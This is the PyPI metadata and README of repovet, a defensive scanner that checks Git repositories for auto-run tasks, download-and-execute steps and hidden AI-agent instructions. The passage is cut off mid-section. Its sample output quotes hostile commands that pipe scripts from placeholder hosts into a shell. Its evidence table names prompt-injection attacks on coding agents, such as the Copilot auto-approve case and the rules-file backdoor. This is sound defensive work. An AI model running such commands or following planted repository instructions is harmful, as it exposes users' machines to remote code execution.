Metadata-Version: 2.5
Name: repovet
Version: 0.4.1
Summary: Vet a Git repository before you run it.
Project-URL: Homepage, https://github.com/m3xXmo0/repovet
Project-URL: Issues, https://github.com/m3xXmo0/repovet/issues
Project-URL: Changelog, https://github.com/m3xXmo0/repovet/blob/main/CHANGELOG.md
Author: m3xXmo0
License-Expression: MIT
License-File: LICENSE
Keywords: ai-agents,code-review,git,github,sarif,security,static-analysis,supply-chain
Classifier: Development Status :: 3 - Alpha
Classifier: Environment :: Console
Classifier: Intended Audience :: Developers
Classifier: Intended Audience :: Information Technology
Classifier: Natural Language :: English
Classifier: Operating System :: MacOS
Classifier: Operating System :: Microsoft :: Windows
Classifier: Operating System :: OS Independent
Classifier: Operating System :: POSIX :: Linux
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Quality Assurance
Classifier: Topic :: Software Development :: Version Control :: Git
Requires-Python: >=3.12
Requires-Dist: dulwich==1.2.17
Requires-Dist: pyyaml==6.0.3
Description-Content-Type: text/markdown

<div align="center">

# repovet

**Vet a Git repository before you run it.**

[![PyPI version](https://img.shields.io/pypi/v/repovet.svg)](https://pypi.org/project/repovet/)
[![Python versions](https://img.shields.io/pypi/pyversions/repovet.svg)](https://pypi.org/project/repovet/)
[![CI](https://github.com/m3xXmo0/repovet/actions/workflows/ci.yml/badge.svg)](https://github.com/m3xXmo0/repovet/actions/workflows/ci.yml)
[![License: MIT](https://img.shields.io/pypi/l/repovet.svg)](https://github.com/m3xXmo0/repovet/blob/main/LICENSE)

[![repovet scanning the demo repository](https://raw.githubusercontent.com/m3xXmo0/repovet/main/docs/demo.gif)](https://github.com/m3xXmo0/repovet-demo)

</div>

repovet checks a Git repository **before** you run, install, build or open anything from
it, and it never runs anything from it. Give it a public GitHub link or a folder on your
computer; it shows what deserves a closer look and, just as honestly, what it could not
check.

- [Get started in three steps](#get-started-in-three-steps) (no experience needed)
- [Use the menu](#use-the-menu) or [clone after checking](#clone-after-checking)
- [Use it in CI](#use-it-in-ci) · [FAQ](#faq) · [All details](#contents)
- [Evidence](#evidence): what it detects, and how often it raises false alarms

## Evidence

<!-- evidence:start -->
<!-- Generated by scripts/evidence.py and checked by tests/test_evidence.py. Do not edit by hand. -->

**Detection: reconstructions of documented attacks** (repovet 0.4.1, 2026-10-30)

16 publicly documented supply-chain incidents and repository attack techniques are rebuilt as inert files (placeholder hosts, no working payloads) and scanned on every test run: **16 detected**, **0 partly detected** (some expected rules fire, others are known gaps), **0 not detected**. Each entry links its public sources.

Each reconstruction also has hand-written **variants** that rewrite it with an evasion technique (a variable, a helper script, another downloader, a split string, plain prose). A variant counts as detected when it reaches the severity of the original in the files it rewrites: **60 of 64 variants detected**; the others are listed as known gaps.

| Technique | Year | Result | Variants detected | Rules that fire | Known gaps |
|-----------|-----:|--------|------------------:|-----------------|------------|
| [Prompt injection switches on Copilot auto-approve (CVE-2025-53773)](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/copilot-auto-approve.yaml) | 2025 | detected | 3 of 3 | RC-AGENT-024 | - |
| [GlassWorm invisible code in VS Code extensions](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/glassworm.yaml) | 2025 | detected | 2 of 2 | RC-AGENT-006, RC-OBF-003 | - |
| [Nx "s1ngularity"](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/nx-s1ngularity.yaml) | 2025 | detected | 2 of 3 | RC-AGENT-027, RC-AUTO-001, RC-AUTO-062 | variant `flag-in-variable` |
| [Rules File Backdoor (hidden instructions in AI rule files)](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/rules-file-backdoor.yaml) | 2025 | detected | 9 of 9 | RC-AGENT-001, RC-AGENT-004, RC-AGENT-005, RC-AGENT-020 | - |
| [Shai-Hulud npm worm](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/shai-hulud.yaml) | 2025 | detected | 3 of 4 | RC-AUTO-001, RC-DLX-005, RC-DLX-006 | variant `joined-host` |
| [tj-actions/changed-files (CVE-2025-30066)](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/tj-actions-changed-files.yaml) | 2025 | detected | 4 of 4 | RC-OBF-002, RC-OBF-003 | - |
| [VS Code task that runs on folder open (fake job interviews)](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/vscode-folder-open-task.yaml) | 2025 | detected | 5 of 5 | RC-AUTO-020, RC-AUTO-021 | - |
| [ultralytics workflow injection](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/ultralytics.yaml) | 2024 | detected | 7 of 7 | RC-AUTO-062 | - |
| [xz-utils backdoor (CVE-2024-3094)](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/xz-utils.yaml) | 2024 | detected | 2 of 2 | RC-BIN-006, RC-OBF-003 | - |
| [Dev container initializeCommand runs on the host](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/devcontainer-initialize-command.yaml) | 2022 | detected | 3 of 3 | RC-AUTO-025 | - |
| [core.fsmonitor in a shipped Git config and in a buried bare repository](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/git-fsmonitor.yaml) | 2022 | detected | 1 of 2 | RC-AUTO-032 | variant `include-file` |
| [PyTorch nightly torchtriton dependency confusion](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/pytorch-torchtriton.yaml) | 2022 | detected | 3 of 3 | RC-DEP-011 | - |
| [Trojan Source (CVE-2021-42574)](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/trojan-source.yaml) | 2021 | detected | 2 of 2 | RC-OBF-008 | - |
| [ua-parser-js hijacked releases](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/ua-parser-js.yaml) | 2021 | detected | 9 of 10 | RC-AUTO-001, RC-DLX-002, RC-DLX-004 | variant `temp-variable` |
| [Visual Studio project with a build event (campaign against security researchers)](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/visual-studio-build-event.yaml) | 2021 | detected | 3 of 3 | RC-AUTO-070, RC-BIN-001 | - |
| [event-stream / flatmap-stream](https://github.com/m3xXmo0/repovet/blob/main/tests/reconstructions/event-stream.yaml) | 2018 | detected | 2 of 2 | RC-OBF-011 | - |

**False positives: the 50 most-starred GitHub repositories** (repovet 0.4.1, 2026-10-30)

38 scanned offline with all rules, 12 skipped (too large to clone or failed; listed in the report). 3 of 38 had at least one high or critical finding. Findings: 0 critical, 5 high, 62 medium, 58 low, 447 info. These projects are presumed benign, so every finding is a false positive or something the project does on purpose.

Rules that fire most often (repositories with a finding): RC-PROV-010 (info, 21 of 38), RC-AGENT-001 (info, 13 of 38), RC-BIN-006 (low, 6 of 38), RC-AUTO-002 (low, 5 of 38), RC-DLX-005 (medium, 3 of 38).

Per rule and per repository: [docs/fp-benchmark.md](https://github.com/m3xXmo0/repovet/blob/main/docs/fp-benchmark.md).

**No findings does not mean safe.** repovet reports only what its rules detect in the checked scope; the known gaps above are examples of what it misses.
<!-- evidence:end -->

**Independent check.** The variants above were developed alongside the rules, so
they show what the rules are built for, not how well they generalize. A separate,
unpublished set of 42 bypass variants and 24 harmless look-alikes was written by a third
party before 0.4.1. The recorded result for 0.4.0 is 11 variants rated at the expected
severity, 13 detected at medium or above but rated lower or in another area, and 18
missed; 22 of the 24 look-alikes stay below medium. On the same set, 0.4.1 rates 13 at
the expected severity, detects 13 lower or in another area, and misses 16; 23 of the 24
look-alikes stay below medium. Workflow cases remain weak (0 of 6 rated). The earlier
results informed the technique classes targeted by 0.4.1, so this is now a regression
check and only partly independent. A fresh set is needed for another independent
measurement.

## Get started in three steps

You do not need to know how to program. You type one command into a terminal window and
press Enter; repovet does the rest and never changes anything on your computer except
installing itself.

**Step 1 – open a terminal**

- **Windows:** press the Windows key, type `PowerShell`, press Enter.
- **macOS:** press Cmd + Space, type `Terminal`, press Enter.
- **Linux:** press Ctrl + Alt + T (or open "Terminal" from the menu).

**Step 2 – install repovet.** With Python 3.12 or newer (`python --version` shows it),
one line is enough:

```
pip install repovet
```

or, to keep it in its own environment, `pipx install repovet`.

No Python yet? [uv](https://docs.astral.sh/uv/), a small tool, installs repovet and
fetches the right Python for it. Copy the two lines for your system, paste them into the
terminal and press Enter after each one.

Windows (PowerShell):

```
powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
uv tool install repovet
```

macOS and Linux:

```
curl -LsSf https://astral.sh/uv/install.sh | sh
uv tool install repovet
```

If the terminal then says `repovet` is not found, close it, open a new one and continue.

Yes, the first uv line downloads and runs an installer, which is exactly the kind of
thing repovet warns about. It comes from the official uv website; if you prefer, read
the [uv installation page](https://docs.astral.sh/uv/getting-started/installation/)
first or install Python from [python.org](https://www.python.org/downloads/) and use pip
or pipx.

**Step 3 – check a repository.** Type `repovet` and press Enter. A menu opens:

```
repovet 0.4.1 - check a Git repository before you run anything from it.
Nothing from the checked repository is run.

What do you want to do?
  1  Check a GitHub repository (URL)
  2  Check a folder on this computer
  3  Settings
  4  Exit
Choose 1-4:
```

Type `1`, press Enter, paste the link of the repository (for example
`https://github.com/m3xXmo0/repovet-demo`, a harmless project made to show what repovet
finds) and press Enter again.

**Reading the result.** The report starts with a summary box:

- one line on what not to do yet, for example "Do not open this folder in VS Code with
  trust";
- the number of findings per level: **critical** means code runs on its own as soon as
  you open or use the project with the tool concerned; **high** means code can run when
  you install, build or open it, or start an AI agent in it, or something is clearly
  disguised; **medium** is worth a look; **low** and **info** are hints and facts;
- **"Look at these first"**: the three findings that matter most.

Every finding below says where it is, what was found, why it matters (`Why`) and what to
do (`Do`). Labels such as `[test]` or `[docs]` mark findings in test files, docs,
examples or third-party code; they are shown, never hidden. At the end, **"Not checked"**
lists what repovet could not look at. **No findings does not mean the repository is
safe** – it means none of repovet's rules matched.

## Use the menu

Run `repovet` without anything after it in a terminal to get the menu. After a check you
can show all details of one finding, save the report as an HTML page, JSON, SARIF or
text, or check another repository. Under **Settings** you see whether a GitHub token is
set (never its value, see [Trust](#trust-github-api)) and can turn off the GitHub API for
the session (offline mode). The menu only appears when you type the command yourself: in
scripts, pipes and CI, and whenever you give arguments, repovet behaves exactly like the
commands below.

## Clone after checking

```
repovet clone https://github.com/<owner>/<repo> [FOLDER]
```

`repovet clone` first runs the same check as `repovet scan` on the URL, shows the summary
and then asks `Clone anyway? [y/N]` (Enter means no). Only if you answer `y` does it write
the files into `FOLDER` (default: the repository name; it must not exist or must be
empty).

The clone is written from the very Git objects that were checked – nothing is downloaded
twice – and it is deliberately limited: no Git hooks, no filters, no LFS downloads, no
submodules, and symbolic links are not created (they are listed). Every path is checked
before the first file is written; a repository with names that could escape the folder
or overwrite Git's own files (`.git` in any spelling, `..`, Windows device names such as
`aux`, `file:stream`, names that differ only in case) is not cloned at all. The folder
gets a normal `.git` folder, so `git pull` works afterwards.

`--yes` skips the question, but only when no finding is at or above `--fail-on` (default
`high`); without a terminal, repovet never clones a repository with such findings. The
exit code is the result of the check (0 or 1), whether you cloned or not.

## Use it in CI

repovet runs in any CI. In GitHub Actions, the SARIF report shows the findings in the
**Security → Code scanning** tab and on pull requests:

```yaml
name: repovet
on: [push, pull_request]
permissions:
  contents: read
jobs:
  repovet:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write   # upload the SARIF report
    steps:
      - uses: actions/checkout@v7
        with:
          persist-credentials: false
      - uses: astral-sh/setup-uv@v10
      - name: Check the repository
        run: uvx repovet scan . --offline --format sarif -o repovet.sarif
      - name: Upload the report
        if: always()
        uses: github/codeql-action/upload-sarif@v4
        with:
          sarif_file: repovet.sarif
          category: repovet
```

The scan step fails when a finding is at or above `--fail-on` (default `high`); the upload
step still runs (`if: always()`). Pin the actions to commit SHAs and repovet to a version
(`uvx repovet@0.4.1`) in production workflows. Leave out `--offline` to add the trust
indicators from the GitHub API (pass `GITHUB_TOKEN: ${{ github.token }}` as an
environment variable for a higher rate limit).

## FAQ

**Does repovet upload my code?** No. The analysis runs on your computer and makes no
network connections. There are only two: downloading a repository you gave as a GitHub
URL (from github.com), and the trust check, which asks the public GitHub API about the
repository and its owner (`api.github.com`; not your files). `--offline` turns the API
off; a local folder with `--offline` makes no connection at all.

**Does "no findings" mean the repository is safe?** No. It means that none of repovet's
rules matched in the part that was checked. repovet looks for known patterns and keeps
false alarms low; someone who knows the rules can avoid them. Read "Not checked" in every
report and stay careful.

**What do I do with a false positive?** Read the `Why` of the finding: some findings are
right but harmless in your case (an official installer that pipes `curl` into `sh`, for
example). To hide a rule in your own runs, use `--ignore-rule RC-...`; repovet never reads
such settings from the checked repository. If a rule is plainly wrong, please
[report it](https://github.com/m3xXmo0/repovet/issues/new/choose) with a small, harmless
example – it helps everyone.

**Does it run on Windows, macOS and Linux?** Yes, with Python 3.12 or newer (uv takes
care of that).

**Can repovet itself be attacked through a repository?** It is built not to be: it never
runs, imports or builds anything from the repository, never calls the `git` program, and
masks invisible and control characters before printing. See
[Security model](#security-model); please report problems privately (SECURITY.md).

## Why?

A repository can run code on your machine long before you think you have "run" it:

- **Opening it** in an editor can run code: VS Code tasks set to start on folder open,
  dev containers, workspace settings that point tools into the repository.
- **Installing or building it** can run code: npm `postinstall` scripts, `setup.py`,
  Python build hooks, Makefiles, Git hooks.
- **Letting an AI agent read it** can act on hidden instructions: a `CLAUDE.md` or
  `AGENTS.md` can carry prompts hidden in HTML comments or invisible Unicode.

repovet looks for exactly these things, reading the files only as data.

## What it looks for

Eight areas, with one plain example each:

| Area | One example it catches |
|------|------------------------|
| **autorun** | a VS Code task set to run the moment you open the folder |
| **agents** | a `CLAUDE.md` with an instruction hidden in an HTML comment |
| **obfuscation** | a Base64 blob that is decoded and executed in one step |
| **download & execute** | a script that pipes `curl …` straight into `sh` |
| **binaries** | an executable program disguised as `logo.png` |
| **dependencies** | a typosquatted package name sitting next to the real ones |
| **provenance** | a whole project committed in a single initial commit |
| **trust** | a brand-new account whose repository gained thousands of stars in a day |

## What it does not do

repovet **never runs anything** from the repository, so it cannot be tricked into
executing a payload while it checks for one.

And **"no findings" does not mean "safe".** It means only that none of the rules matched
in the part of the repository that was checked. repovet looks for known patterns with
few false alarms; it never gives a safe/unsafe verdict or a score. Always read the
"Not checked" section of the report.

---

## Contents

- [Status](#status)
- [Installation](#installation)
- [Usage](#usage)
- [Sample output](#sample-output)
- [Reports: text, HTML, JSON and SARIF](#reports-text-html-json-and-sarif)
- [Trust (GitHub API)](#trust-github-api)
- [What is checked](#what-is-checked)
- [Limits: what is not checked](#limits-what-is-not-checked)
- [Security model](#security-model)
- [Exit codes](#exit-codes)
- [Development](#development)
- [Roadmap](#roadmap)
- [License](#license)

## Status

Early: the current version is 0.4.1. It is
built around three questions:

| Category   | Question                                                                    |
|------------|-----------------------------------------------------------------------------|
| danger     | Does anything run automatically, or is something hidden, obfuscated or injected? |
| trust      | How do the owner, stars, contributors and maintenance look?                 |
| provenance | What is the repository made of, and how did it come about?                  |

What works today:

- **Local folders and public GitHub repositories.** A URL like
  `https://github.com/<owner>/<repo>` is fetched into a temporary folder as Git objects
  only (no checkout, nothing from the repository is written under its own file name) and
  deleted after the scan.
- **A menu** (`repovet` without arguments in a terminal) and **`repovet clone`**, which
  checks first and clones only after you agree.
- **Reports** for the terminal (a summary box, grouped findings), as one HTML page, as
  JSON (`docs/report.schema.json`) or as SARIF 2.1.0 for code-scanning tools.
- **Danger, six areas:** auto-run code (`autorun`), AI agent instructions and
  configuration (`agents`), obfuscated code (`obfuscation`), download-and-execute
  (`download_exec`), binaries and file-system tricks (`binaries`) and suspicious
  dependencies (`dependencies`); see [What is checked](#what-is-checked).
- **Provenance profile** (facts, not findings): languages, size, largest files,
  top-level structure, usual project files present or missing, share of generated or
  vendored files, license (file text and manifest) and notable files such as AI agent
  configuration, dev containers or editor settings. With Git history (a URL target, or a
  local folder with a `.git` folder): commits, time span, authors and e-mail domains,
  signed commits, the share of files that arrived in the first commit and AI tools named
  in commit messages.
- **Provenance indicators** (`info`/`low`, rules `RC-PROV-*`): one large initial commit,
  commit dates in the future or edited, a history rewritten or created in one go, AI tool
  trailers, "generated with" notes and committed AI session histories. They are hints
  about how a repository came about, never a verdict: commit dates and authors can be set
  by anyone.
- **Trust profile** (facts from the GitHub API, see [Trust](#trust-github-api)):
  repository and owner age, account type, stars, forks, watchers, contributors, commits,
  last commit, releases, open issues, archived/fork/template, default-branch protection,
  the license GitHub detects, and for a local folder whether its HEAD commit exists in
  the GitHub repository its Git remote names. `--offline` turns it off.
- **Trust indicators** (`info` to `medium`, rules `RC-TRUST-*`): a very new owner account
  or a very young repository with many stars, most stars within one day, a fork of a much
  more popular repository, a release that offers programs or archives from a repository
  with hardly any code, archived or inactive repositories, a local HEAD that GitHub does
  not know, a manifest that names another owner's repository, and an older, more popular
  repository with the same name and description. They are indicators, never a verdict, and
  there is no score.
- **Evidence** (see [Evidence](#evidence)): reconstructions of documented attacks with
  the rules that must fire and the known gaps, a false-positive benchmark on the
  most-starred GitHub repositories, and a self-scan of this repository in CI.
- Windows, macOS and Linux with Python 3.12 or 3.13; the test suite runs on all three in
  CI.

## Installation

repovet needs Python 3.12 or newer. Install it with pip, or with pipx as a
command-line tool in its own environment:

```
pip install repovet
# or
pipx install repovet

repovet --version
```

Without Python, [uv](https://docs.astral.sh/uv/) installs repovet and downloads a
matching Python:

```
uv tool install repovet
```

Runtime dependencies are PyYAML and [dulwich](https://www.dulwich.io/) (pure-Python Git,
which brings urllib3).

From source, with the exact versions pinned in `uv.lock`:

```
git clone https://github.com/m3xXmo0/repovet.git
cd repovet
uv sync
uv run repovet --version
```

In a source checkout, put `uv run` in front of the commands below.

## Usage

```
repovet                                  # menu (in a terminal)
repovet scan PATH|URL [options]          # check and print a report
repovet clone URL [FOLDER] [options]     # check, then clone if you agree
repovet rules list [--area AREA]         # list the rules
```

Examples:

```
# Check a folder you downloaded or cloned
repovet scan D:\downloads\some-repo

# Check a public GitHub repository without cloning it yourself (default branch)
repovet scan https://github.com/pallets/flask

# A branch, a tag or a full commit id; keep the temporary Git objects for a look
repovet scan https://github.com/pallets/flask --ref 3.1.0
repovet scan https://github.com/pallets/flask --ref <40-character commit id> --keep-clone

# Explain every finding (Why/Do also for medium, low and info) and list every place
repovet scan ./some-repo --details

# A report to open in the browser: one HTML file, no scripts, works offline
repovet scan ./some-repo --format html -o report.html

# Check first, then clone into ./flask if you answer y
repovet clone https://github.com/pallets/flask

# Plain output without colors (also set by the NO_COLOR environment variable)
repovet scan ./some-repo --no-color

# Keep colors when piping into a pager (FORCE_COLOR; NO_COLOR and --no-color win)
FORCE_COLOR=1 repovet scan ./some-repo | less -R

# Only show high and critical findings
repovet scan ./some-repo --min-severity high

# Exit with 1 already on medium findings (default threshold: high)
repovet scan ./some-repo --fail-on medium

# Also check .venv, venv, node_modules, .tox, .nox and tool caches (skipped by default)
repovet scan ./some-repo --include-env-dirs

# JSON report to stdout, SARIF report into a file (never inside the checked folder)
repovet scan ./some-repo --format json
repovet scan ./some-repo --format sarif -o repovet.sarif

# Skip one rule, check larger files, add your own rules folder
repovet scan ./some-repo --ignore-rule RC-AGENT-001 --max-file-size 8MB --rules ./my-rules

# List the rules, optionally for one area
repovet rules list
repovet rules list --area agents
```

`scan` options (`clone` takes the same, except `--keep-clone`, `--format`, `-o` and
`--details`, plus `--yes`):

| Option                  | Meaning                                                              |
|-------------------------|----------------------------------------------------------------------|
| `--min-severity LEVEL`  | Hide findings below `info`, `low`, `medium`, `high` or `critical` (default: `info`). |
| `--fail-on LEVEL`       | Exit with 1 if a finding has at least this level (default: `high`).  |
| `--ignore-rule ID`      | Do not run this rule (repeatable).                                   |
| `--rules DIR`           | Load additional rules from this folder (repeatable).                 |
| `--max-file-size SIZE`  | Largest file whose content is checked (default: `2MB`).              |
| `--include-env-dirs`    | Also check environment and tool cache folders.                       |
| `--ref REF`             | URL targets: branch, tag or full commit id (default: the default branch). |
| `--keep-clone`          | URL targets: keep the temporary folder with the fetched Git objects; its path is printed. |
| `--max-clone-size SIZE` | URL targets: abort if the download is larger (default: `500MB`).    |
| `--clone-timeout SECONDS` | URL targets: abort the download after this time (default: `300`). |
| `--format FORMAT`       | `text` (default), `json`, `sarif` or `html`.                         |
| `-o`, `--output FILE`   | Write the report to FILE instead of stdout. FILE must be outside the checked folder. |
| `--details`             | Text report: Why/Do for every finding (by default only for critical and high) and every place of grouped findings. |
| `--no-color`            | Plain output without colors. `NO_COLOR` does the same; a non-empty `FORCE_COLOR` keeps colors when the output is piped. Reports written with `-o` never contain colors. |
| `--offline`             | No GitHub API queries for the trust area (a URL target is still downloaded). |
| `-v`, `--verbose`       | More detail.                                                         |
| `--yes`, `-y`           | `clone` only: clone without asking, but only if no finding is at or above `--fail-on`. |

Rule suppressions and other configuration are only taken from the command line, never
from the checked repository (that content is controlled by whoever wrote the repository).

## Sample output

An excerpt from a real scan of a small test folder (path shortened, the URLs are
placeholders):

```
repovet 0.4.0 · local folder D:\src\demo · offline · 7 files · 135 rules
Lines starting with '>' are untrusted content quoted from the repository.

┌─ SUMMARY ───────────────────────────────────────────────────────────────────┐
│ Do not open this folder in VS Code with trust (use Restricted Mode) until   │
│ you have read the findings below.                                           │
│                                                                             │
│ 1 critical · 3 high · 0 medium · 0 low · 0 info                             │
│                                                                             │
│ Look at these first                                                         │
│ 1. CRITICAL  RC-AUTO-021   .vscode/tasks.json:7                             │
│    VS Code task that runs on folder open downloads or executes code         │
│ 2. HIGH      RC-AUTO-020   .vscode/tasks.json:8                             │
│    VS Code task runs when the folder is opened                              │
│ 3. HIGH      RC-AUTO-090   package.json:1                                   │
│    Auto-run entry point reaches dangerous code in another file              │
└─────────────────────────────────────────────────────────────────────────────┘

DANGER                                   1 critical · 3 high
  CRITICAL  RC-AUTO-021   .vscode/tasks.json:7                  confidence high
            Task starts on folder open and fetches or runs code: curl -s
            https://example.invalid/i.sh | sh
            > "command": "curl -s https://example.invalid/i.sh | sh",
            Why  This task starts as soon as the folder is opened in a trusted
                 workspace, and it downloads code, pipes into an interpreter or
                 decodes a payload.
            Do   Do not trust this folder in VS Code. Open it in Restricted
                 Mode or another editor and remove the task before working with
                 it.

  ...

  HIGH      RC-AUTO-090   package.json:1                      confidence medium
            npm install script runs on install and reaches download-and-execute
            (RC-DLX-001) after 2 steps: package.json -> scripts/setup.js
            Path chain-1: package.json:1 -> scripts/setup.js:2
            > execSync("curl -fsSL https://example.invalid/setup.sh | bash");
            Why  The entry point runs automatically and starts a file of the
                 repository, which in turn contains the dangerous code
                 (directly or through one more file). Each file on its own
                 looks less alarming than the combination. The findings of the
                 files on the path stay in the report, marked as part of this
                 chain, and are not counted again.
            Do   Follow the path and read each file before opening the folder
                 with trust or installing. The quoted line is the code at the
                 end of the path.

  ...

  MEDIUM    RC-AUTO-001   package.json:1 (part of chain-1)      confidence high
            package.json defines a 'postinstall' script: node scripts/setup.js
            > {"name": "demo", "version": "1.0.0", "scripts": {"postinstall": "node scripts/setup.js"}}

  MEDIUM    RC-DLX-001    scripts/setup.js:2 (part of chain-1)  confidence medium
            Downloads and runs code in one step: curl -fsSL
            https://example.invalid/setup.sh | bash
            > execSync("curl -fsSL https://example.invalid/setup.sh | bash");

Why/Do for medium, low and info findings, all places and info details: --details

NOT CHECKED
  - trust (GitHub API): no GitHub repository is known for this folder (no Git
    remote in .git/config)
  - Environment and tool cache folders (.venv, venv, node_modules, .tox, .nox,
    .mypy_cache, .ruff_cache, .pytest_cache) skipped; use --include-env-dirs to
    check them (1): node_modules
  - No .git folder; the Git history was not checked
  - Dependencies are checked by name and declared source only; their code and
    install scripts are not checked (no registry queries) (2): package.json,
    requirements.txt

repovet reports only what its 135 rules detect in the checked scope.
A missing finding is not proof that the repository is safe.
```

Each finding has a rule ID, severity, confidence, file and line (where it applies), the
reason (`Why`) and a recommendation (`Do`). The report is compact by default:

- The **summary box** starts with what not to do yet, based on the most severe
  findings (for example "Do not open this folder in VS Code with trust"), counts the
  findings per level and names the three to look at first (the most severe; at the same
  level, findings outside tests, docs, examples and vendored code come first).
- Findings of the same rule are **grouped**: one explanation, a list of places with the
  quoted line, at most five, then `+N more`. Info findings are one line per rule.
- A **chain** (`RC-AUTO-090`) connects an entry point that runs automatically (a VS Code
  task on folder open, a dev container command, an npm install script) with dangerous
  code in a file it starts, up to two files away, and shows the path. The findings on
  the path stay in the report, marked `(part of chain-1)`, and are not counted again.
- `Why` and `Do` are shown for **critical and high** findings; `--details` shows them for
  all findings, and every place.
- Findings in test files, docs, examples or vendored code carry a **label** such as
  `[test]`. They are labelled, never hidden or downgraded: attackers put payloads there
  too.

Text quoted from the repository is masked before output: control characters and
invisible Unicode characters are shown as `<U+XXXX>`, so they cannot change your terminal
or mislead a reader. Without UTF-8 output, the box and the separators use plain ASCII.

Before "Not checked", the report shows the provenance profile. It describes the
repository; it is not a finding and not a quality score (same demo folder):

```
PROVENANCE PROFILE                       facts, not findings
  Files      7 files, 543 bytes; 7 text files with 20 lines, 0 binary
  Languages  JavaScript 54% (1 file), TypeScript 25% (1 file), Python 20% (1
             file)
  Data, docs JSON (2), Text (1), Markdown (1)
  Largest    .vscode/tasks.json (208 bytes), scripts/setup.js (111 bytes),
             package.json (90 bytes)
  Top level  .vscode/, scripts/, src/, tests/, package.json, README.md,
             requirements.txt
  Present    readme, tests
  Missing    license, CI, docs, changelog, contributing guide, security policy,
             code of conduct, code owners, dependency update bot
  License    no license file found
  Notable    editor and IDE settings (1): .vscode/tasks.json
             package manifests (2): package.json, requirements.txt
```

## Reports: text, HTML, JSON and SARIF

- **Text** (default): see [Sample output](#sample-output).
- **HTML** (`--format html -o report.html`): one self-contained file to open in any
  browser, also offline. No JavaScript and no external resources (a Content Security
  Policy blocks everything but the inline style sheet); every text from the repository is
  masked and escaped. Findings are grouped and fold open (critical and high are open),
  with severity colours, the profiles, "Not checked" and the notice. Light and dark mode
  follow your system setting.

- **JSON** (`--format json`): tool, target, scan data, a summary per severity and
  category, the findings, the coverage gaps ("Not checked"), facts (`source` for URL
  targets, `trust` and `provenance` profiles) and the disclaimer. The structure is
  described in
  [docs/report.schema.json](https://github.com/m3xXmo0/repovet/blob/main/docs/report.schema.json)
  (`schema_version` 1.4; every finding has a `context` label or `null`; a chain finding
  has `chain` with its steps, the findings on its path name it in `in_chain`, and the
  summary counts them once, through the chain).
- **SARIF 2.1.0** (`--format sarif`) for GitHub code scanning and SARIF viewers: every
  rule with title, reason, recommendation and `security-severity`; context labels in
  `properties.context`; the steps of a chain as `relatedLocations`; `critical`/`high`
  findings have level `error`, `medium` `warning`, `low`/`info` `note`. Paths are relative
  to `SRCROOT` (the checked folder). Coverage gaps appear as tool execution notifications.
  Findings that concern a whole file point to line 1. The trust and provenance profiles
  are in `runs[0].properties.facts`. For URL targets, `SRCROOT` is the GitHub URL of the
  checked commit.

JSON and SARIF contain only ASCII: text from the repository is sanitized like in the
terminal report, and file paths in SARIF are percent-encoded. `--min-severity` filters
all formats; the exit code never depends on the format.

## Trust (GitHub API)

For a GitHub URL, and for a local folder whose `.git/config` names a GitHub repository as
remote `origin` (or as its only remote), repovet asks the GitHub REST API about the
repository and its owner. The trust profile comes before the provenance profile (excerpt,
anonymized):

```
TRUST PROFILE                            facts, not findings
  Repository example-org/example-repo, created 2010-04-06 (16 years ago); last
             push 2026-10-07 (22 days ago)
  Owner      example-org (organization), account created 2016-01-17 (10 years
             ago); 16 public repositories, 2,654 followers
  Popularity 74,935 stars, 17,200 forks, 2,130 watchers
  Activity   5,562 commits on main, last 2026-10-07 (22 days ago); 864
             contributors; 38 releases, latest 3.1.3 on 2026-02-19 (2 assets);
             4 open issues and pull requests
  Status     not archived; not a fork; main is protected; license BSD-3-Clause
             (GitHub); no security policy in the files
  API        6 requests, 52 of 60 left (resets 17:46 UTC), no token
             Stars, forks, followers and accounts can be bought or faked; these
             are indicators, not proof.
```

- **A local folder's remote is only a claim.** Whoever prepared the folder chose it.
  repovet therefore looks up the folder's HEAD commit in that repository (`Local` line).
  GitHub also finds commits that exist only in forks of the repository, so "found" is no
  proof either.
- **Requests:** usually 6 to 8 per scan: repository, owner, commits, contributors, latest
  release, default branch, a name search (only for descriptions of 20 or more
  characters), the local HEAD of a folder, the star times (one or two requests, only for
  50 to 200 stars) and the repository a manifest names (only if it belongs to another
  owner). Counts come from one-item pages, so large repositories cost the same. Each scan
  stops after 25 requests without a token (100 with one) and after 60 seconds.
- **Rate limit:** without a token GitHub allows 60 requests per hour and IP address.
  repovet checks the remaining requests first (that check is free), waits at most 20
  seconds when GitHub asks for a short pause, and otherwise stops and lists what was not
  checked under "Not checked", with the time the limit resets. The scan itself continues;
  the exit code does not change.
- **Token (optional):** set `GITHUB_TOKEN` or `GH_TOKEN` to raise the limit to 5,000
  requests per hour. A fine-grained token without any permissions is enough, because only
  public data is read. The token is sent only to `https://api.github.com`, never on the
  command line, and never appears in reports, error messages or `-v` output. The report
  says only whether a token was used and from which variable.

  ```
  # Bash
  GITHUB_TOKEN=github_pat_... uv run repovet scan https://github.com/pallets/flask

  # PowerShell
  $env:GITHUB_TOKEN = "github_pat_..."; uv run repovet scan https://github.com/pallets/flask
  ```
- **What is not used:** private repositories, GraphQL, the stargazer accounts themselves,
  and any cache (every scan asks again).
- **Limits of the indicators:** the name search looks at the five most starred
  repositories whose name contains the checked name; star times are only fetched for 50 to
  200 stars; only the latest release is looked at; manifests only in the root folder.
  Stars, accounts, dates and descriptions can all be faked.

## What is checked

Severity says how bad it is if the finding means what the rule claims; confidence says how
likely that is. `critical` means code runs without any further step once the folder is
